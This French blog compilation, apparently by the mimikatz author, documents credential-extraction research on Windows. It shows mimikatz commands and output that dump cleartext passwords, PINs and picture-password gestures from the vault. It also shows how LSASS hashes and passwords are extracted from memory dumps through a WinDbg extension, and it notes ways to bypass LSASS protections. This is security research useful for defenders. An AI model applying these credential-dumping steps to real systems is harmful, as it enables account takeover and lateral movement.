Windows 8, code PIN et mot de passe image

Avec l’arrivée de Windows 8 dans un monde de tablettes, certaines équipes de Microsoft ont dû réfléchir à la facilité de saisir des mots de passe tel que Tr0ub4dor&3 ou Tmb1W>r~ sur un clavier tactile limité.

Windows 8 introduit alors 2 nouveaux modes de connexions utilisateur :

  1. Connexion par code PIN
    pin_icon
  2. Connexion par mot de passe image
    picture_icon
    Quelques explications sur le fonctionnement du mot de passe image : http://blogs.msdn.com/b/b8/archive/2011/12/16/signing-in-with-a-picture-password.aspx

Hypothèse

Le fonctionnement interne de Windows, que ce soit la DPAPI, les authentifications réseau ou dans certains cas l’utilisation du compte Live, repose sur des dérivés du mot de passe réel du compte.
Il y a donc fort à parier que dans ce mode de fonctionnement, PIN ou mot de passe image, Windows stocke le mot de passe réel de l’utilisateur pour le réutiliser lors d’une ouverture de session véritable.

Création

Créons un code PIN (4567) :
create_pin
Ainsi qu’un mot de passe image :
create_picture

Investigation

Il n’y a pas à chercher très loin, une bonne partie des informations est disponible avec les outils de base :

C:\Windows\System32>whoami
autorite nt\système

C:\Windows\System32>vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}
Informations d'identification du coffre : {4BF4C442-9B8A-41A0-B380-DD4A704DDB28}

Schéma d'informations d'identification : Picture Password Vault Resource Schema
Ressource : Picture Password Vault Resource
Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000
Enregistré par : Picture Password Credential
Caché : Non
Itinérance : Non
Propriété (ID d'élément de schéma, valeur) : (100,0200000039000000350000001700000001000000010000003D00000017000000590000002600000000000000690000000A0000000000000000000000)

Schéma d'informations d'identification : PIN Logon Vault Resource Schema
Ressource : PIN Logon Vault Resource
Identité : 010500000000000515000000A346DEFB5D8AA5A6422633BEE9030000
Enregistré par : PIN Logon Credential
Caché : Non
Itinérance : Non
Propriété (ID d'élément de schéma, valeur) : (100,4567)

Il suffit donc d’utiliser mimikatz pour emprunter l’identité du système puis de lire le contenu de son coffre :

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Jan 11 2014 15:24:10)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                    with  14 modules * * */

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name : 
SID name  : AUTORITE NT\Système

416	32204     	AUTORITE NT\Système	S-1-5-18	(04g,20p)	Primary
 -> Impersonated !
 * Process Token : 2550316   	windows-81\Administrateur	S-1-5-21-4225648291-2795866717-3191023170-500	(14g,23p)	Primary
 * Thread Token  : 2555077   	AUTORITE NT\Système	S-1-5-18	(04g,20p)	Impersonation (Delegation)

mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}
	Name       : Informations didentification Web
	Path       : C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28
	Items (2)
	  0.	Picture Password Credential
		Type            : {b4b8a12b-183d-4908-9559-bd8bce72b58a}
		LastWritten     : 11/01/2014 19:57:42
		Flags           : 00000000
		Ressource       : Picture Password Vault Resource
		Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 
		Authenticator   : 
		PackageSid      : 
		Property  0     : 02 00 00 00 39 00 00 00 35 00 00 00 17 00 00 00 01 00 00 00 01 00 00 00 3d 00 00 00 17 00 00 00 59 00 00 00 26 00 00 00 00 00 00 00 69 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 
		*Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 

		*** Picture Password ***
		User            : windows-81\Gentil Kiwi
		Password        : Tr0ub4dor&3
		Picture password (grid is 150*100)
		 [0] circle (x =  57 ; y =  53 ; r =  23) - clockwise
		 [1] line   (x =  61 ; y =  23) -> (x =  89 ; y =  38)
		 [2] point  (x = 105 ; y =  10)

	  1.	PIN Logon Credential
		Type            : {b2e033f5-5fde-450d-a1bd-3791f465720c}
		LastWritten     : 11/01/2014 18:46:40
		Flags           : 00000000
		Ressource       : PIN Logon Vault Resource
		Identity        : 01 05 00 00 00 00 00 05 15 00 00 00 a3 46 de fb 5d 8a a5 a6 42 26 33 be e9 03 00 00 
		Authenticator   : 
		PackageSid      : 
		Property  0     : 4567
		*Authenticator* : 54 00 72 00 30 00 75 00 62 00 34 00 64 00 6f 00 72 00 26 00 33 00 00 00 

		*** Pin Logon ***
		User            : windows-81\Gentil Kiwi
		Password        : Tr0ub4dor&3
		PIN Code        : 4567

Vérification

Nous retrouvons bien le mot de passe « en clair », ainsi que le code PIN, et les indications de gestes avec le référentiel suivant :
password_reveal

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

WinDbg et l’extension de mimikatz

windbg mimikatz
mimikatz prenait déjà en charge l’extraction de hash/mot de passe depuis :

  • l’accès direct au processus LSASS
  • l’exploitation de l’image mémoire (Minidump) de LSASS

…et cela suffit à la majorité des usages.

Nouvelles sources de données

Mais le contenu mémoire de LSASS est aussi « disponible » via d’autres sources

  • états mémoire de machines virtuelles (fichiers .vmem, …)
  • fichiers d’hibernation, de mise en veille prolongée (fichiers hiberfil.sys)
  • les crashdump noyau complets (fichiers .dmp)

En dehors de mimikatz ?

Ces sources de données ne peuvent êtres traitées directement dans mimikatz pour plusieurs raisons :

  • il est complexe (mais possible) de créer un traducteur d’adresse virtuelle en adresse physique pour tous les modes d’adressage (surtout avec les particularités Microsoft)
  • le gestionnaire mémoire de Windows ne peut garantir à un instant T que le contenu de certaines zones mémoire virtuelle est réellement en mémoire physique

Ces deux problématiques empêchaient, lors de certains essais, mimikatz de fonctionner par « pattern matching » sur un contenu de mémoire physique.

Ne voulant pas implémenter dans mimikatz une « table d’offsets » pour toutes les versions de fichiers (lsasrv, wdigest, kerberos, tspkg, livessp, msv1_0, …), ou télécharger à la volée les symboles de déboguage nécessaires, une solution plus élégante devait être imaginée…

Extensions WinDbg

Un outil est particulièrement adapté à la lecture de dump mémoire (au format « crashdump ») et à la manipulation de symboles, il s’agit de WinDbg (http://blog.gentilkiwi.com/programmes/windbg)

Les fichiers de mise en veille prolongée, ou d’états mémoire, peuvent être convertis au format « crashdump » par des outils tel que MoonSols Windows Memory Toolkit ou Volatility

Exemples de conversions avec MoonSols Windows Memory Toolkit

  • Etat mémoire VMware vers « crashdump » :
    bin2dmp 564d1ef7-40ef-bdd6-128c-df37cfdb74a4.vmem vmware.dmp
  • Fichier de mise en veille prolongée vers « crashdump » :
    hibr2dmp hiberfil.sys hiberfil.dmp

Utilisation de l’extension

La librairie mimilib.dll a été étendue afin de devenir une extension WinDbg, qu’il suffit de charger après ouverture du crashdump (1).
Il convient de se placer dans le contexte du processus LSASS (2) et (3) avant de lancer la commande !mimikatz (4).

  1. .load c:\security\mimikatz\win32\mimilib.dll
  2. !process 0 0 lsass.exe
  3. .process /r /p
  4. !mimikatz
16.0: kd> .load c:\security\mimikatz\win32\mimilib.dll

  .#####.   mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 24 2013 21:22:38)
 .## ^ ##.  Windows build 7601
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'                                  WinDBG extension ! * * */

===================================
#         * Kernel mode *         #
===================================
# Search for LSASS process
0: kd> !process 0 0 lsass.exe
# Then switch to its context
0: kd> .process /r /p <EPROCESS address>
# And finally :
0: kd> !mimikatz
===================================
#          * User mode *          #
===================================
0:000> !mimikatz
===================================

16.0: kd> !process 0 0 lsass.exe
PROCESS 86697030  SessionId: 0  Cid: 0240    Peb: 7ffdf000  ParentCid: 01cc
    DirBase: 7ed54080  ObjectTable: 992ad078  HandleCount: 501.
    Image: lsass.exe

16.0: kd> .process /r /p 86697030
Implicit process is now 86697030
Loading User Symbols
..........................................................
16.0: kd> !mimikatz

Authentication Id : 0 ; 239956 (00000000:0003a954)
Session           : Interactive from 1
User Name         : Gentil Kiwi
Domain            : vm-w7-ult
	msv : 
	 [00000003] Primary
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * LM       : d0e9aee149655a6075e4540af1f22d3b
	 * NTLM     : cc36cf7a8514893efccd332446158b1a
	tspkg : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	wdigest : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	kerberos : 
	 * Username : Gentil Kiwi
	 * Domain   : vm-w7-ult
	 * Password : waza1234/
	ssp : 

Téléchargement

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz

Bonus

  • la commande !mimikatz peut directement être utilisée sur un minidump du processus LSASS
  • les dumps mémoires complets via livekd, dumpit, la mise en veille prolongée ou encore la capture du fichier mémoire de VMware contournent très bien les protections Windows du processus LSASS

Limitations

  • seules les images mémoire de NT6 sont prises en charge (je n’ai pas codé pour cibler NT5)
  • bien qu’il soit normalement possible d’utiliser les extensions WinDbg indépendamment de l’architecture ciblée :
    • les images mémoire x64 doivent être déboguées sous WinDbg x64, avec la librairie mimilib.dll x64
    • les images mémoire x86 doivent être déboguées sous WinDbg x86, avec la librairie mimilib.dll x86

Il est donc plus souple d’utiliser Windows 7 x64 avec les deux versions du débogueur (x86 & x64)

mimikatz 2.0 et observations

Changements

mimikatz_20

La version 2.0 de mimikatz apporte (heureusement) son lot de nouveautés :

  • Liée à la compilation aux runtimes par défaut (plus léger)
  • Gestion d’une sortie fichier
  • Gestion des minidumps pour l’extraction de données depuis LSASS
  • Meilleure gestion de l’impersonation
  • Amélioration de la communication et de la stabilité du pilote
  • Création d’un Security Support Provider / Password Filter
  • Prise en charge des dernières versions de Windows

mimikatz 2.0 est maintenant la version de référence dans les téléchargements.
La version 1.0 précédente reste disponible dans le répertoire « old » pendant encore quelques semaines.

Visiteurs assidus

* d’après Google Analytics… les données sont donc faussées par les navigateurs bloquant certains scripts / pays n’autorisant pas Google

world statistics

  1. France
  2. United States
  3. China
  4. Russia
  5. Spain
  6. United Kingdom
  7. Germany
  8. Canada
  9. India
  10. Switzerland

Une mention spéciale à Microsoft qui semble se passionner :
microsoft
La langue française sans doute…

Critiques

  1. Beaucoup de sites/blogs font encore référence à la version 1.0, ainsi qu’à l’injection de la DLL pour obtenir des mots de passe (via sekurlsa.dll)…
    Pourtant :

    • la lecture de mot de passe en clair sans injection/librairie externe est disponible depuis l’été 2012
    • la version 2.0 « alpha » est, elle, disponible depuis le premier trimestre 2013
  2. Il va vraiment falloir que je mette à jour toute la documentation…

mimikatz n’aime pas les Detours

peng_flowers

Un nombre relativement important de produits de sécurité utilise maintenant la librairie Detours de Microsoft.

Cette librairie facilite la mise en place de hooks inline dans ses propres applications, ou dans des processus externes via l’injection d’une librairie.

Software package for re-routing Win32 APIs underneath applications.

http://research.microsoft.com/projects/detours/

Ces hooks, qu’ils soient posés via Detours ou non, s’opèrent majoritairement par le remplacement des 5 premiers octets d’une fonction par un saut inconditionnel vers une autre fonction.
pour des contrôles de sécurité, modifier des paramètres, altérer le comportement, journaliser…

Mais où se trouvent ces hooks ?
Une petite commande a été codé rapidement : misc::detours

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 24 2013 20:44:17)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz
  '#####'                                    with   8 modules * * */

mimikatz # misc::detours
AcroRd32.exe (1020)
	kernel32.dll ! CreateProcessA           0000000074E91072 -> 0000000000230070
	kernel32.dll ! CreateProcessW           0000000074E9103D -> 0000000000230030
	KERNELBASE.dll ! CreateEventW           00000000751C119F -> 0000000000240030
	KERNELBASE.dll ! OpenEventW             00000000751C11CF -> 0000000000240070
notepad.exe (4316)
	ntdll.dll ! LdrLoadDll                 	0000000076E57AC0 -> 000000006D5EE1C0	(SbieDll.dll)
	ntdll.dll ! LdrUnloadDll               	0000000076E53B10 -> 000000006D5ECF40	(SbieDll.dll)
	ntdll.dll ! NtAdjustPrivilegesToken    	0000000076E816C0 -> 000000006D5FAD60	(SbieDll.dll)
	ntdll.dll ! NtAlpcConnectPort           0000000076E819F0 -> 000000006D5E2FE0	(SbieDll.dll)
	ntdll.dll ! NtAlpcCreatePort            0000000076E81A00 -> 000000006D5E2E30	(SbieDll.dll)
	[...]
	USER32.dll ! UnregisterClassA           0000000076879E70 -> 000000006D5DA2A0	(SbieDll.dll)
	USER32.dll ! UnregisterClassW           000000007687D464 -> 000000006D5DA210	(SbieDll.dll)
plugin-container.exe (2616)
	USER32.dll ! GetWindowInfo              0000000074771BBF -> 00000000627EC6FD	(xul.dll)
FlashPlayerPlugin_11_8_800_94.exe (5516)
	kernel32.dll ! CreateProcessA           0000000074E91072 -> 00000000000A0070
	kernel32.dll ! CreateProcessW           0000000074E9103D -> 00000000000A0030
	KERNELBASE.dll ! CreateEventW           00000000751C119F -> 00000000000F0030
	KERNELBASE.dll ! OpenEventW             00000000751C11CF -> 00000000000F0070
	GDI32.dll ! AbortDoc                    00000000748F3ADC -> 0000000000120030
	GDI32.dll ! AddFontResourceW            00000000748ED2B2 -> 0000000000120BF0
	[...]
	ole32.dll ! OleGetClipboard             0000000074A8FDCD -> 00000000001500B0
	ole32.dll ! OleIsCurrentClipboard       0000000074A636B2 -> 0000000000150070
	ole32.dll ! OleSetClipboard             0000000074A60045 -> 0000000000150030
	MPR.dll ! WNetAddConnection2W           0000000072A94744 -> 00000000003200B0
	MPR.dll ! WNetGetResourceInformationW   0000000072A9389D -> 0000000000320070
	MPR.dll ! WNetGetUniversalNameW         0000000072A9D34E -> 0000000000320030

Vous pourrez facilement retrouver SandBoxie, EMET, Adobe, Flash, etc.
Peut-être même quelques antivirus ou HIPS…

La version alpha prenant en charge ces améliorations est disponible : http://blog.gentilkiwi.com/mimikatz (répertoire alpha)

(ne pas oublier privilege::debug pour inspecter les processus différents des siens)

Oups, compte Microsoft et Windows 8.1 preview (en clair)

penguin_oups

Une bonne surprise d’un point de vue sécurité

Il semblerait que Microsoft ait (enfin) compris qu’il valait mieux ne pas conserver au même endroit :

  • des données chiffrées
  • les clés de déchiffrement
  • les routines de déchiffrement

Les mécanismes de protection de LSASS sous Windows 8.1 preview n’utilisent plus la CNG en mode utilisateur (process), mais en mode noyau :

  1. lsasrv!LsaProtectMemory
  2. crypt32!CryptProtectMemory
  3. dispatch ksecdd
  4. dispatch cng
  5. cng!CngEncryptMemory

Par ces mécanismes, LSASS peut chiffrer des données en s’assurant que celles-ci ne pourront pas être déchiffrées en dehors de son propre process.
L’API CryptProtectMemory est utilisée avec le flag CRYPTPROTECTMEMORY_SAME_PROCESS.

Cette fois, les clés de chiffrement sont générées avec certaines informations disponibles seulement en mode noyau (cookie, salt, heure de création, …).
Conséquence : les données ne peuvent être utilisées que depuis le même processus.

…ce n’est pas trop tôt, ces API étaient disponibles depuis Windows XP/2003 http://msdn.microsoft.com/magazine/cc163883.aspx#S2

Limites

Ces améliorations ont le mérite de protéger des dumps mémoire ou d’attaques sur LSASS par lecture de données et de clés.
Mais si notre code est exécuté dans le processus LSASS (injection de DLL ou autre), les mêmes clés sont utilisées, et le déchiffrement reste possible.

Surprise !

Il semblerait que Microsoft se donne du mal pour améliorer des routines sensibles et historiques…. mais ne les utilise pas toujours !

Windows 8.1 preview – provider LiveSSP

windows81_livessp
oui, le mot de passe est bien en clair en mémoire…

Windows 8 (« c’était mieux avant ») – provider LiveSSP

windows80_livessp
le mot de passe était bien chiffré précédemment…